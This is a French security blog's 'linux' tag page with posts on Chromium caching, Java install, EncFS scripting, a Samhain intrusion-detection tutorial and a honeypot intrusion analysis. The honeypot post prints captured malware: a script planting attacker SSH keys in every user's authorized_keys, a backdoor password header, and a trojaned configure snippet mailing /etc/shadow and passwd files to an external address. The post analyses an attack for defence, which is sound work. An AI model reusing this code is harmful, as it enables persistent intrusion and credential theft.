photo of devloop

devloop :: blog

sécurité informatique, programmation, Linux et plus encore

Subscribe to RSS feed

Posts tagged with "linux"

Rediriger le cache de Chromium sous Linux

, , ,

EDIT: L'opération n'est pas aussi facile que prévue car Chromium ne semble finalement pas suivre les spécifications XDG...
J'ai trouvé une solution fonctionnelle via le code source du navigateur.
Dans le fichier .config/chromium/Default/Preferences, il faut ajouter l'entrée suivante sous la section appellée "browser" :
"disk_cache_dir": "/tmp/.chromium_cache"

Virgule à ajouter si besoin.

Article original
Les navigateurs Google Chrome et Chromium enregistrent par défaut leurs fichiers de cache dans un sous dossier du répertoire .cache lui-même situé dans le home directory de l'utilisateur.
Ce dosssier .cache contient comme son nom l'indique les fichiers de cache utilisés par différentes applications comme Audacious, MPlayer, VLC, Openbox ou encore le logiciel de téléchargement torrent Transmission.

Pour une quelconque raison on peut avoir envie de déplacer ce dossier de cache. Son paramétrage est fait par le biais de XDG qui défini un ensemble de règles dans l'organisation des dossiers sous Linux.

Les chemins des différents dossiers utilisés par XDG sont définis dans le fichier .config/user-dirs.dirs de l'utilisateur.
On pourra alors ajouter la ligne suivante pour faire déplacer les fichiers de cache vers le dossier /tmp/.cache :
XDG_CACHE_HOME="/tmp/.cache"

Un redémarrage du système (ou à défaut du gestionnaire de fenêtres) est conseillé pour être certain que toutes les applications prennent en compte ce changement.

Installer Java 7 d'Oracle sous openSUSE 11.4

, , ,

Depuis les changements de licence décidés par Oracle concernant la machine virtuelle Java, les distributions Linux ne peuvent plus proposer de paquets à jour, ce qui est très gênant question compatibilités (du moins d'ici quelques temps) et sécurité !

Du coup je me suis décidé à installer le RPM du JDK (le kit de développement qui contient aussi le JRE) téléchargeable sur le site d'Oracle.
Si l'installation du rpm en elle-même ne pose aucun problème (rpm -Uvh jdk-7u1-linux-x64.rpm), on ne peut pas dire qu'Oracle ait peaufiné le script d'install pour rendre Java prêt à l'emploi... Une fois de plus les Windowsiens ont droit à du point-and-click et les Linuxiens sont délaissés et doivent mettre les mains dans le cambouis !

Ainsi tout les liens présents dans /etc/alternatives qui permettent au système de rediriger les exécutables vers la nouvelle version de Java ne sont pas mis à jour. Un peu comme si sous Windows vous installiez un logiciel mais aucune entrée n'était ajoutée dans la base de registre, aucun raccourci n'était créé sur le bureau ou dans le menu démarrer etc.

J'ai donc décidé de bricoler un petit script de post-installation du RPM qui se charge de créer les liens nécessaires à l'utilisation de Java 7.

Le RPM d'Oracle créé un lien symbolique /usr/java/default qui pointe vers la bonne version de Java. En se basant sur ce chemin pour recréer les liens on peut rapidement faire pointer les binaires dans la bonne direction.

Mon script a été testé sur openSUSE 11.4 (architecture amd64) avec le JDK 64bits aussi. Il y a des commandes spécifiques à openSUSE et à l'architecture 64 bits mais c'est facilement adaptable smile

Le script est téléchargeable ici.
Avis aux amateurs smile
Il est aussi sur paste2

Kippo : Visiteur du 2 octobre 2011

, , , ...

Le visiteur a d'abord désactivé l'historisation du terminal puis a téléchargé une archive ssh.tar qui est sensiblement la même que celle du dernier visiteur. Aussi je vous renvoi au précédent article sur le sujet.

On retrouve le fichier backdoor.h avec un contenu différent :
#define BACKDOORPASSWD          "3.9p1"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE "/etc/ssh/.sshd_auth"
#define PASSWORDS_LOG_FILE2 "/usr/lib/.sshd.h"
int backdoor_active;

Un fichier ppk.so dont l'extension m'a semblé immédiatement suspicieuse et dont le contenu est du texte :
for i in `cat /etc/passwd | cut -d":" -f6 | grep home 2>/dev/null` ; do
mkdir -p $i/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBoyu02vQ6BxJrL2CE6RQk8+XWRpooJs+cJLom/U0sirHiEQB9lIyzDGDv5tA0e1JTNe9L6tszMwWy9IzsRblHUx711v362NGBx9gDjMyvqk/g7r2fn26ohN7Xybd/Bk3aI7oVQJEqGFLPIANZRdCpjcP3TdDhOwYelWNePGK/tYQ== localhost' >> $i/.ssh/authorized_keys
done
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAo2bGEi2NrVAhVPBtv4wSY0UB1EE/dWw2uGS819tTVY0a4HKKhEdVL7EafaF5boKKiIXRbFqsHBuNl66bCfZvZ8kbZ/I+tuD+whdn8v0oT5QwHRdwPUbmSqECHI4u9s4H5dsSyzPS0417Y42ZDT9SdrnBwh8vQVOUTzlcxYNWvT8= localhost' >> /root/.ssh/authorized_keys


Le fichier "configure" pour compiler le ssh backdooré est bien évidemment lui-même backdooré... Un œil un tant soit peu attentif remarque des lignes rajoutées à environ 4% de ce gros script généré par autoconf...
echo "[Shadow or Master.Passwd]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/shadow >> mailstuff 2>/dev/null
cat /etc/master.passwd >> mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Passwd]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/passwd >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Parola backdoor si fisiere de sniff]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat backdoor.h >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Port SSH]">>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/ssh/sshd_config | grep Port >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat mailstuff | mail -s "`uname -ns`" rootbox77@yahoo.com 2>/dev/null


Ici le pirate qui voudrait utiliser ce kit partagerait bien malgré lui son accès avec rootbox77@yahoo.com.
On trouve ensuite un fichier shs.c qui est une backdoor setuid locale très basique ainsi qu'un binaire baptisé "misc" qui est une simple backdoor avec gestion de terminal qui bind() par défaut sur le port 1230 et accepte une connexion si on lui donne le password "sh2". AVG détecte ce binaire comme Linux/BdSmall.BF. Linux Malware Detect le connait aussi.

Ensuite il a téléchargé une seconde archive, tuxkit.tar, qui est un rootkit qui remplace les binaires à l'instar de SHV5.
Je vous fait cadeau du REAME et du script d'install.

Pour terminer, il a récupéré le binaire ss que l'on retrouve souvent, un syn-scanneur (scanneur de ports furtifs)
En dehors de ça, les commandes qu'il a lancé était sans grand intérêt...

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

, , , ...

Je continue dans mes analyses de logs de honeypot.
Le dernier intrus à voulu installer un rootkit.

L'article étant un peu long, je l'ai mis en ligne sur mon site sourceforge :

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Bonne lecture.

Script graphique (GUI) pour EncFS

, , , ...

Pour que le script fonctionne vous devez créez un fichier baptisé .mounted à la racine du volume EncFS monté. Sa présence est testée par le script pour savoir si le volume EncFS est monté ou non.

Voici le code (variables à adapter à votre configuration) :
#!/bin/bash
# Le dossier qui contiendra les fichiers chiffres
VAULT_DIR=~/Vault

# Le dossier ou sera monte les fichiers accessibles en clair
MOUNT_DIR=~/Mount

# Le chemin de l'executable qui demandera le password (locate askpass)
ASK_PASS=/usr/lib64/ssh/ssh-askpass

if [ -f $MOUNT_DIR/.mounted ]
then
  fusermount -u $MOUNT_DIR
  xmessage "Le volume a ete demonte." -center -timeout 2
else
  encfs --extpass=$ASK_PASS $VAULT_DIR $MOUNT_DIR
  if [ -f $MOUNT_DIR/.mounted ]
  then
    xmessage "Le volume a ete monte avec succes." -center -timeout 2
  else
    xmessage "Mot de passe incorrect. Montage impossible." -center -timeout 2
  fi
fi


et un exemple (à adapter) de fichier .desktop pour lancer l'application (qui appellera gui-encfs.sh) :
[Desktop Entry]
Version=1.0
Type=Application
Name=EncFS
GenericName=Chiffrement de fichiers
Icon=/usr/share/icons/oxygen/64x64/apps/preferences-desktop-cryptography.png
Categories=Security
Exec=/home/devloop/bin/gui-encfs.sh
Terminal=false


Vous enregistrez par exemple ça sous le nom EncFS_GUI.desktop dans votre dossier Bureau et vous avez une icône permettant facilement de monter/démonter le volume smile

Initiation au système de détection d'intrusion Samhain

, , , ...

Présentation de Samhain

Samhain est un HIDS multiplateforme pour les systèmes UNIX, Linux et Windows (à travers l'utilisation de Cygwin). Il est sous licence libre GNU GPL.
Il fonctionne essentiellement comme un logiciel de vérification d'intégrité du système en surveillant en permanence les fichiers et en reportant toute modification qui a eu lieu.
Il possède toutefois d'autres fonctionnalités qui en font un outil de détection d'intrusion puissant.

Pourquoi utiliser Samhain plutot que X ou Y ?

L'un des avantages de Samhain est que son développement est toujours actif comparé à ses concurrents dont les dernières versions datent un peu : AIDE (février 2011), Tripwire (mars 2010), Osiris (janvier 2007) et Integrit (juin 2007).
De plus en terme de fonctionnalités, il se place largement au dessus des logiciels précédemment cités (voir plus loin).
Son seul vrai rival semble alors être OSSEC que je n'ai pas eu l'occasion de tester.

Pourquoi cet article ?

Tout d'abord les ressources en français sur ce logiciel manquent cruellement et n'entrent pas dans les détails.
Ensuite, malgré la documentation, un utilisateur novice se retrouve face à des questions auxquelles j'ai tenté de répondre dans le présent article.
Enfin c'est l'occasion de partager un point de vue sur un logiciel gratuit et open-source.

L'installation

La compilation du code source est simple et tout ce qu'il y a de plus classique sous Linux : un fichier configure et un makefile.
Toutefois avant de se lancer dans cette opération, je vous conseille vivement de lire la documentation (manuel, FAQ etc) et de faire le tour des fonctionnalités proposées car de nombreuses options du script configure permettent d'inclure des modules intéressants qui ne sont pas présents par défaut.
Pour voir les options de configuration disponibles, vous pouvez vous rendre sur cette page mais le mieux est probablement de lancer un ./configure --help pour lister la totalité des options disponibles dans la version que vous avez récupéré.

Parmi les options supplémentaires dédiées à la sécurité on notera entre autres la surveillance des programmes SetUID, la possibilité de surveiller les modules kernel (présence de rootkit), l'analyse des fichiers journaux, les vérifications sur les systèmes de fichiers montés, la surveillance des ports ouverts et la détection des processus cachés.
Sous Windows (avec Cygwin) un module permet de surveiller les clés de la base de registre.

Une autre des "killer features" pour les utilisateurs avancés est la possibilité de rendre Samhain furtif. On peut offusquer les données de log, dissimuler le fichier de configuration par stéganographie, renommer facilement les exécutables à la compilation ou utiliser un module kernel pour le cacher complètement au système.

Les administrateurs systèmes ne sont pas en reste avec certaines fonctionnalités comme la possibilité de tout loguer vers une base de données (à la place du fichier journal) ou vers un serveur de journalisation central.
Pour des mesures de sécurité ou parce que vous souhaitez monitorer plusieurs machines, vous pourrez en effet mettre en place le serveur de journalisation Yule qui fait partie du projet Samhain.

Pour aller encore plus loin, on citera également le logiciel Beltane qui est une console de gestion web (en PHP) permettant de surveiller efficacement des machines avec Samhain installé.

Samhain offre aussi un support de l'IDS Prelude, activable là aussi par une option de compilation.

Une fois le logiciel configuré puis installé (make) j'ai mis en place le script d'init par la commande make install-boot.

Configuration utilisée pour cet article

Dans mon cas, j'ai utilisé une configuration très basique : la base de Samhain (surveillance des fichiers) ainsi que la surveillance des ports et des processus.

J'ai tenté la première fois d'activer la surveillance des modules kernel mais j'ai obtenu une erreur de compilation. Comme j'avais des doutes sur mon utilisation de cette option (que se passe t-il quand on met à jour le kernel ou le module nVidia ?), je n'ai pas insisté et l'ai désactivé.

J'ai compilé aussi le support de vérification des fichiers SUID mais d'après la documentation ce module est assez gourmand en ressources. Il est toutefois possible de régler son utilisation du disque par des directives spéciales dans le fichier de configuration.

Je n'ai pas non plus utilisé le serveur de log Yule : la journalisation se fait ici en local dans un fichier de log (par défaut /var/log/samhain_log).

Fonctionnement général de Samhain

En tant que vérificateur d'intégrité du système, Samhain surveille tous les fichiers et dossiers présents sur votre système pour vous alerter des modifications. Pour cela il lui faut bien sûr une base initiale qui lui sert de référence et qui contient les noms des fichiers du système avec leur informations associées (taille, timestamps, propriétaires, permissions, attributs étendus...)

Cette base sous format binaire se situe dans le fichier /var/lib/samhain/samhain_file et est nommée "baseline database" ou encore "on-disk database" dans la documentation de Samhain.

Note : le fichier de configuration et cette base de données peuvent être signées cryptographiquement pour ajouter un niveau de sécurité. Voir l'annexe A3 ainsi que le chapitre 8 de la documentation.

Dès que Samhain détectera une modification par rapport à ce qui est enregistré dans la base, il l'indiquera à travers une ligne dans le journal de log.
Cela peut être l'ajout ou la disparition d'un fichier, un changement de taille, de permissions, une date de modification ou de dernier accès etc.

Première utilisation

Une fois Samhain installé sur la machine, il faut créer la base initiale.
On remplie cette base avec la commande suivante qui va scanner vos disques et mémoriser les caractéristiques de chaque fichier et dossier :
samhain -t init -p info
L'option -t permet de spécifier l'action à entreprendre (ici une initialisation) et l'option -p indique le niveau de verbosité à employer sur la sortie console (stdout).
Nous reviendrons plus tard sur cette notion de verbosité.

Le fichier de configuration

Tous les réglages pour fixer quels fichiers et répertoires surveiller et comment les surveiller ainsi que les réactions à produire en fonction des changements détectés sur le système sont définis dans un fichier de configuration unique : /etc/samhainrc.

Ce fichier de configuration en texte seul a une syntaxe très simple :
Ça se résume à des noms de sections dans lesquels se trouvent des couples clé/valeur séparées par le caractère égal (=).

Une section peut apparaître plusieurs fois. Le fichier de configuration fourni par défaut utilise d'ailleurs cette caractéristique pour regrouper les règles (couples clé/valeur) d'après l'emplacement des fichiers sur le disque.

Les commentaires (qui commencent par le caractères dièse) peuvent être utilisés pour mieux s'y retrouver.

Par exemple on écrira :
# --- règles pour /etc ---
[ReadOnly]
file=/etc/passwd

[Attributes]
file=/etc/mtab

# --- règles pour /var ---
[ReadOnly]
dir=/var/lib
[Attributes]
file=/var/tmp
[LogFiles]
file=/var/run/utmp
qui est plus lisible que :
[ReadOnly]
file=/etc/passwd
dir=/var/lib

[Attributes]
file=/etc/mtab
file = /var/tmp

[LogFiles]
file=/var/run/utmp
Ce sera plus efficace pour retrouver une règle ou trouver où en placer une supplémentaire.

Comme vous avez pu le remarquer, les clés les plus fréquentes sont file (quand il s'agit d'un fichier) et dir (pour un dossier). Quand à la valeur il s'agit du chemin vers la ressource concernée.

Les dossiers sont des cas particuliers car ils peuvent être traitées aussi comme des fichiers (sous Linux, tout est fichier).
Ainsi on peut activer une règle pour le contenu d'un dossier avec une clé dir, et une autre règle pour le dossier en lui même avec la clé file. Ca peut éviter des doublons dans le fichier de log car pour toute modification d'un fichier dans le dossier, le dossier en lui-même est aussi modifié (date de dernière modification)...

Il faut tout de même faire très attention aux règles qu'on emploie : si on ne surveille que le contenu du dossier et pas le dossier lui-même, Samhain risque par exemple de passer outre la détection d'une opération de création aussitôt suivie de suppression d'un même fichier : le contenu du dossier n'aura pas eu l'air de changer mais les propriétés du répertoire on gardé d'une trace de cette activité, il peut être utile de le signaler.

Concernant l'ordre dans lequel les règles sont prises en compte, c'est toujours la règle avec le chemin le plus spécifique (le plus proche du fichier concerné) qui l'emporte. L'ordre des sections n'a aucune importance. Les règles indiquées sous une section sont considérées comme en faisant partie.

Un exemple concret et applicable est présent dans le fichier de configuration par défaut :
[ReadOnly]
## for these files, only access time is ignored
dir = 99/etc

[Attributes]
## check permission and ownership
file = /etc/mtab
Il indique à Samhain de surveiller toute modification (sans les dates de dernier accès, section [ReadOnly]) sur les fichiers se trouvant dans /etc, sauf pour le fichier /etc/mtab dont il faut uniquement surveiller les permissions (section [Attributes]) car ce fichier est généré dynamiquement par le système, inutile de reporter les modifications sur son contenu.
On aurait très bien pu inverser les sections avec leurs clés associées, Samhain aurait appliqué les règles de la même façon.

Un autre point à connaître est le fait que si un dossier est à la fois dans une clé dir et une clé file, c'est la clé file qui prédomine.
S'il y a réellement une incohérence (le même couple clé/valeur dans deux sections différentes par exemple), Samhain générera un message d'erreur et refusera probablement de se lancer.

Les clés file et dir ne sont pas les seules clés disponibles mais sont celles auxquelles vous aurez le plus recourt.
Une page de documentation rassemble tout ce qu'il faut connaître sur la gestion des fichiers par Samhain.

Un chemin de fichier indiqué dans une clé file ou dir sera toujours complet, c'est à dire qu'il débutera par le caractère / indiquant la racine.
Les caractères spéciaux du shell Unix (*, ?, [...]) ainsi que d'autres éléments sont acceptés et permettent par exemple d'appliquer des règles à un groupe de fichier correspondant au même pattern.

Pour les clés dir, le chemin peut être précédé d'un indice de récursion (ou de profondeur) indiquant jusqu'à quel niveau de sous-dossier s'applique la règle.
Cet indice est un entier qui peut aller jusqu'à 99. Par défaut, en l'absence de cette indice, il est à 0, c'est à dire que la règle s'applique à tous les éléments directement dans le dossier mais pas aux sous-dossiers.
Un indice de -1 est un cas particulier qui permet de ne pas surveiller le contenu du dossier, quelque soit le niveau de profondeur.

La documentation de Samhain donne 3 exemples concrets pour illustrer cela :

Exemple 1 : Si vous voulez uniquement surveiller les fichiers dans un dossier mais pas l'inode du dossier lui-même, utilisez :
[ReadOnly]
dir = /u01/oracle/archive00
[IgnoreAll]
file = /u01/oracle/archive00
Exemple 2 : Si vous voulez surveiller un dossier, mais pas son contenu qui change fréquemment :
[Attributes]
file = /var/spool/mqueue
file = /tmp
[IgnoreAll]
dir=-1/var/spool/mqueue
dir=-1/tmp
Exemple 3 : Si vous souhaitez surveiller un dossier (en temps que fichier), tout en vous assurant qu'aucun fichier à l'intérieur ne soit supprimé mais pas les attributs actuels de ces fichiers :
[Attributes]
file = /root
[IgnoreAll]
dir=0/root

Les sections pour gérer les fichiers et dossiers

Maintenant que que nous avons vu les clés dir et file, regardons de plus près les sections disponibles.
L'utilisation de ces règles requiert une bonne connaissance des systèmes de fichiers que vous utilisez.
Je vous invite à ce sujet à consulter la page Wikipedia sur les MAC times (modification/access/change).

La section [ReadOnly] permet comme son nom l'indique de surveiller les fichiers qui ne sont pas sensés changer, si ce n'est leur date de dernier accès.
Sont surveillés : le propriétaire, le groupe, les permissions, le type de fichier, le numéro de périphérique, les hard-links (ou lien matériel), les liens symboliques (soft-links), le numéro d'inode, la somme de contrôle, la taille, la date de dernière modification et la date de changement (ctime).
C'est probablement le paramétrage de surveillance le plus complet que vous utiliserez. C'est très pratique pour les fichiers statiques que l'on trouve dans /etc, /bin, /usr...

La section [IgnoreNone] est encore plus radicale car elle surveille le dernier accès (atime). En revanche elle ne prend pas le compte le temps de changement (ctime).
La documentation propose d'utiliser ce paramètre comme un pot de miel pour pirates : placer sur votre système un fichier au nom alléchant (ex: bank_accounts.xls) et indiquer son chemin dans la section [IgnoreNone] pour remonter toute lecture du fichier leurre.

La section [Attributes] permet comme son nom l'indique de surveiller les changements sur les droits (propriétaire, groupe, permissions), le type de fichier et le numéro de périphérique.
Elle ferme les yeux sur les changements de taille et de date.
On peut par exemple utiliser cette section pour surveiller un fichier de base de données : son contenu va changer en permanence, inutile donc de surveiller les modifications. En revanche un changement de propriétaire ou de droit d'accès (passage en exécutable) est suspicieux.

La section [LogFiles] vérifie les fichiers journaux dont la taille peut varier en grandissant ou en diminuant. Tout est surveillé sauf les dates, la taille du fichier et la signature.

La section [GrowingLogFiles] est identique à la précédente sauf que Samhain s'assure que la taille du fichier ne va pas diminuant.

La section [IgnoreAll] ignore toutes les métadonnées concernant un fichier. Elle ne permet que de s'assurer de la présence du fichier.

La section [PreLink] est utilisée pour les librairies préchargées (voir Prelink sur Wikipedia). Je n'en ai pas personnellement l'utilité.

Les sections [UserX] (X allant de 0 à 4 inclus) sont des sections supplémentaires qui par défaut reportent toute modification.

Les sections spécifiques

Les autres sections permettent de fixer des options sur le fonctionnement de Samhain et de ses modules.

La section [EventSeverity] permet de définir le niveau d'alerte renvoyé pour chaque manquement à une règle donnée. Dans cette section on pourra par exemple placer les lignes suivantes :
SeverityReadOnly=crit
SeverityGrowingLogs=warn
SeverityIgnoreAll=info
Les niveaux d'alerte sont décris au chapitre 4.1.1 de la documentation.

La section [Log] est en lien direct avec la précédente. Elle permet de définir des seuils pour chaque méthode de journalisation.
Si une alerte est levée, elle sera journalisée sur tous les systèmes de log dont le seuil est inférieur ou égal au niveau de l'alerte.
Ainsi si le seuil est défini à "warn", les alertes de niveau "info" ne seront pas logués tandis que les alertes de niveau "warn" et "crit" seront historisées.

Dans cette section on utilisera par exemple des clés/valeurs de cette façon :
MailSeverity=crit
LogSeverity=warn
PrintSeverity=info
Ici les alertes de niveau "info" ou supérieures sont envoyées à la console.
Les alertes de niveau "warn" ou supérieures sont conservées dans un fichier.
Les alertes "crit" ou supérieures feront l'objet d'un email envoyé à l'administrateur.
Dans mon cas j'ai défini PrintSeverity à none. J'utilise généralement X mais en cas de plantage je veux pouvoir utiliser la console (Ctrl+Alt+F1) sans être ennuyé.

La section [PortCheck] permet de vérifier les ports ouverts sur la machine. Il faut l'activer avec PortCheckActive=yes.
Par défaut les ports TCP 0 à 65535 sont scannés à un intervalle de secondes définie par la clé PortCheckInterval.
On peut spécifier les ports qui doivent normalement être ouvert avec la clé PortCheckRequired. Celle-ci prend comme valeur une interface (IP) suivi d'un port (ou d'un service) séparé par un slash avec le protocole. On peut spécifier une liste de port/protocole en les séparant par des virgules.

Exemple (présent dans la documentation) :
PortCheckRequired = 192.168.1.128:22/tcp,25/tcp,80/tcp,portmapper/tcp,portmapper/udp
Le même formatage sera utilisé avec les clés PortCheckOptional, PortCheckIgnore et PortCheckSkip.
La clé PortCheckIgnore spécifie les ports ouverts pour lesquels aucune alerte ne sera relevée. Toutefois le scan sur ces ports à tout de même lieu.
Si vous souhaitez que Samhain ne scanne pas du tout un port donné, il faut avoir recours à PortCheckSkip.

Brièvement :
  • La section [SuidCheck] permet de configurer le module de surveillances des fichiers SetUID. Des clés/valeurs spécifiques sont décrites dans la documentation comme la clé SuidCheckFps qui spécifie le nombre de fichiers à surveiller par secondes.
  • La section [Kernel] permet de gérer le module de détection de rootkits.
  • La section [Utmp] surveille les activités des comptes utilisateurs (connexion/déconnexion).
  • La section [Database] permet de configurer l'utilisation d'une base de données.
  • La section [External] permet d'appeler des scripts et programmes externes.
  • La section [ProcessCheck] cherche des processus cachés.
  • La section [Mounts] vérifie les disques montés.
  • La section [Logmon] est dédiée à la surveillance de fichiers journaux. On peut par exemple lever une alerte si une ligne correspondant à une expression régulière est trouvée dans un journal.
  • Enfin la section [Registry] permet de mettre en place une surveillance du registre Windows.
  • Les clés et valeurs possibles pour ces modules sont indiquées dans la documentation ou à décommenter dans le fichier samhainrc fournit avec le logiciel.

    La section [Misc]

    Cette section offre des options de configuration très utiles. La plus importante étant sans doute la clé "Daemon" indiquant à Samhain s'il doit se lancer ou nom en tant que démon.
    Personnellement je l'ai laissé à "yes" ce qui est probablement plus sûr mais vous pouvez très bien préférer de lancer Samhain en tache crontab avec cette option à "no".

    La clé "SetFileCheckTime" défini l'intervalle de temps (en secondes) entre deux vérifications complètes du système.

    Les clés "SetMailAddress", "SetMailRelay" et "MailSubject" sont comme vous le devinez dédiées à l'envoi d'alertes par email.

    Les clés "IgnoreAdded" et "IgnoreMissing" parlent d'elles même. On peut les utiliser pour les fichiers au nom prédéterminés qui apparaissent temporairement (fichier cache d'une application par exemple)

    Les clés "Redef*" permettent de réécrire le fonctionnement d'une section pour ajouter ou retirer des vérifications par rapport à ce qui est fait par défaut.
    La valeur doit être un ensemble de mots clés précédé d'un signe '+' (ajout) ou d'un '-' (retrait).

    Les mots clés sont :
    CHK (checksum)
    TXT (stocker le contenu du fichier dans la base)
    LNK (lien symbolique)
    HLN (hardlink)
    INO (inode)
    USR (utilisateur propriétaire)
    GRP (groupe)
    MTM (mtime)
    ATM (atime)
    CTM (ctime)
    SIZ (taille du fichier)
    RDEV (numéro de périphérique)
    MOD (file mode)
    PRE (Linux; prelinked binary)
    SGROW (file size is allowed to grow)
    AUDIT (Linux; report who changed the file)
    On écrira par exemple :
    RedefReadOnly = -INO,-USR,-GRP
    Ces réécritures doivent apparaître avant les sections concernées. Il est alors préférable de mettre la section [Misc] en tête de fichier.

    La clé "FileNamesAreUTF8" permet d'indiquer à Samhain s'il risque de croiser des noms de fichiers Unicode. En 2011, je vous conseille de le mettre à "yes". On trouve souvent sur le systèmes des noms de fichiers certificats avec des accents... Sans cette option vous risquez d'obtenir des messages "Weird Filename" dans vos logs.

    Le fichier samhainrc fournit par défaut offre une configuration quasi prête à l'emploi mais il faut par exemple changer les noms de fichiers pour l'adapter aux choix propres à la distribution.
    Par exemple le fichier /var/lib/logrotate/status du samhainrc peut être /var/lib/logrotate.status sur votre système.

    Le fichier de log

    Le fichier journal est par défaut /var/log/samhain_log. Au format texte uniquement, il contient un message par ligne.
    Au début vous passerez beaucoup de temps à analyser vos logs car cela vous permettra de peaufiner votre samhainrc pour définir ce qui est une activité normale et ce qu'il faut surveiller.

    Le format des alertes présentes dans le fichier de log est relativement simple à comprendre. Voici à titre d'exemple une alerte que j'ai relevé dans mon log (coupée pour plus de lisibilité) :
    CRIT   :  [2011-04-29T18:41:19+0200] msg=<POLICY [ReadOnly] ---I-M--T->,
    path=</etc/init.d/postfix>,
    mode_old=<-rw-r--r-->, mode_new=<-rwxr-xr-x>,
    attr_old=<------------>, attr_new=<------------>,
    inode_old=<1290353>, inode_new=<1291538>,
    ctime_old=<[2011-03-18T18:20:09]>, ctime_new=<[2011-04-21T14:28:53]>,
    mtime_old=<[2011-02-23T01:13:10]>, mtime_new=<[2011-03-30T22:52:47]>,
    Ici nous avons une alerte de niveau critique (CRIT) qui a été remontée le 24 avril 2011 à 18h41.
    Le fichier /etc/init.d/postfix qui était marqué ReadOnly a été modifié.

    L'inode a été changé ainsi que les dates et les permissions.
    Derrière la section à laquelle se reporte l'alerte se trouve une suite de caractère avec des tirets.

    Ces caractères indiquent rapidement les points qui font l'objet d'une modification.
    Les caractères sont 'C' pour 'checksum', 'L' pour (soft) 'link', 'D' pour 'device number', 'I' pour 'inode', 'H' pour (le nombre de) 'hardlinks', 'M' pour 'mode', 'U' pour 'user' (propriétaire), 'G' pour 'group', 'T' pour 'time' (tous confondus) et 'S' pour 'size'.

    Voici un récapitulatif sous forme de tableau que j'ai récupéré sur le forum de Samhain :
    |==================================
    |Pos|Ltr| Meaning
    | 0 | C | checksum
    | 1 | L | link (soft)
    | 2 | D | rdev (device number)
    | 3 | I | inode
    | 4 | H | hardlinks (number of)
    | 5 | M | mode
    | 6 | U | user (owner)
    | 7 | G | group (owner)
    | 8 | T | atime, ctime, mtime (any)
    | 9 | S | size
    |==================================
    Dans l'alerte, Samhain nous indique aussi les anciennes valeurs qu'il avait en mémoire pour chaque nouvelle valeur.
    Dans mon cas, cette modification fait suite à une mise à jour de Postfix.
    En dehors du changement évident des dates et de l'inode (le fichier a été écrasé), je l'avais désactivé avant la mise à jour avec chmod -x /etc/init.d/postfix, ce qui n'est pas très propre (j'aurais du utiliser chkconfig à la place).
    La mise à jour a donc remis le flag d'exécution sur le fichier.

    Recharger la configuration

    Si vous avez modifié votre fichier samhainrc, il faut dire au programme qu'il doit recharger le fichier de configuration. Vous pouvez bien sûr le stopper et le relancer mais ce n'est pas très propre (voir plus loin).

    Il est possible de recharger la configuration alors que Samhain est en train de tourner (en démon par exemple). Pour cela il faut lui envoyer le signal SIGHUP.
    Récupérer le PID du programme et lancez la commande kill -s SIGHUP <pid de samhain>.
    En ce qui me concerne cette commande ne fonctionne pas correctement puisque le processus arrête de loguer... mais il semble qu'il s'agisse d'un bogue qui a été depuis corrigé.

    Mettre à jour la base de données (baseline database)

    Lorsque Samhain se lance, il charge le fichier de configuration en mémoire ainsi que le base de référence (/var/lib/samhain/samhain_file).
    Quand ensuite il rencontre une modification, il la reporte dans les logs... mais la base n'est pas mise à jour. C'est à l'administrateur d'effectuer cette mise à jour.

    Cette opération de mise à jour fonctionne de manière très basique : il ne s'agit pas d'un "dump" des modifications reportées par Samhain vers la base mais d'un nouveau scan complet du système pour la mettre à jour.

    Du coup, si vous stoppez puis relancez Samhain sans avoir mis la base à jour, vous aurez une incidence au niveau des logs puisque Samhain va reprendre la base de référence non mise à jour et reporter dans les logs les modifications qu'il avait déjà reporté par le passé. Pour peu que Samhain ait fonctionné longtemps, cela va vous générer des logs considérables.
    Il est donc important d'effectuer une mise à jour de la base avant de relancer le démon ou d'éteindre votre machine ou encore de temps en temps en cas de plantage du système.

    L'opération de mise à jour de la base s'effectue en théorie par la commande samhain -t update.
    Seulement il y a des éléments à prendre en considération :
    • Samhain est très protecteur avec son fichier de log. La commande d'update n'aboutira pas car le démon Samhain a posé un verrou dessus. On peut stopper Samhain, mettre à jour la base puis relancer Samhain mais ce n'est pas la bonne méthode. Il est préférable d'effectuer l'update avec les options -l none -p warn. Ainsi l'update n'écrira pas sur le fichier de log (-l none) mais à la place affichera les messages dans la console (-p warn).
    • en l'absence d'options passées en ligne de commande, Samhain prend pour références les options du fichier de configuration. Si vous lancez l'update et que samhainrc indique qu'il doit se lancer en démon, l'update se lancera aussi en démon. On utilisera alors l'option --foreground pour éviter cela.
    Au final, on peut lancer une mise à jour de la base malgré que Samhain soit en train de tourner en démon avec cette commande :
    samhain -t update -l none -p warn --foreground

    Faire la rotation des logs (logrotate)

    Comme Samhain verrouille le fichier de log, l'opération de rotation ne se fera pas simplement.
    Il faut signaler à Samhain de retirer temporairement son verrou en lui envoyant un signal SIGTTIN.
    Il rend alors l'accès au fichier journal possible pendant un laps de temps de 3 secondes.
    Un script pour réaliser cette opération est fourni dans la documentation.

    La sécurité de Samhain

    L'ensemble du chapitre 11 de la documentation couvre la sécurité de Samhain lui-même, c'est à dire les difficultés qu'aurait un pirate à passer inaperçu et effacer ses traces sur un système sur lequel Samhain est installé.
    Cette sécurité semble vraiment excellente. La seule vrai possibilité pour un pirate serait à mon avis d'exploiter une configuration laxiste de Samhain (par exemple une arborescence de fichier non surveillée dans laquelle le pirate pourrait placer ses binaires).
    Le chapitre 11 donne aussi quelques astuces pour renforcer la sécurité de base.

    Trouver de l'aide

    La documentation officielle, les pages de manuel, les exemples dans le fichier samhainrc sont autant de secours pour votre utilisation de Samhain.
    Si malgré ça vous ne trouvez pas de réponses à vos questions, vous pouvez être aidé sur le forum officiel.

    Mon fichier samhainrc pour openSUSE

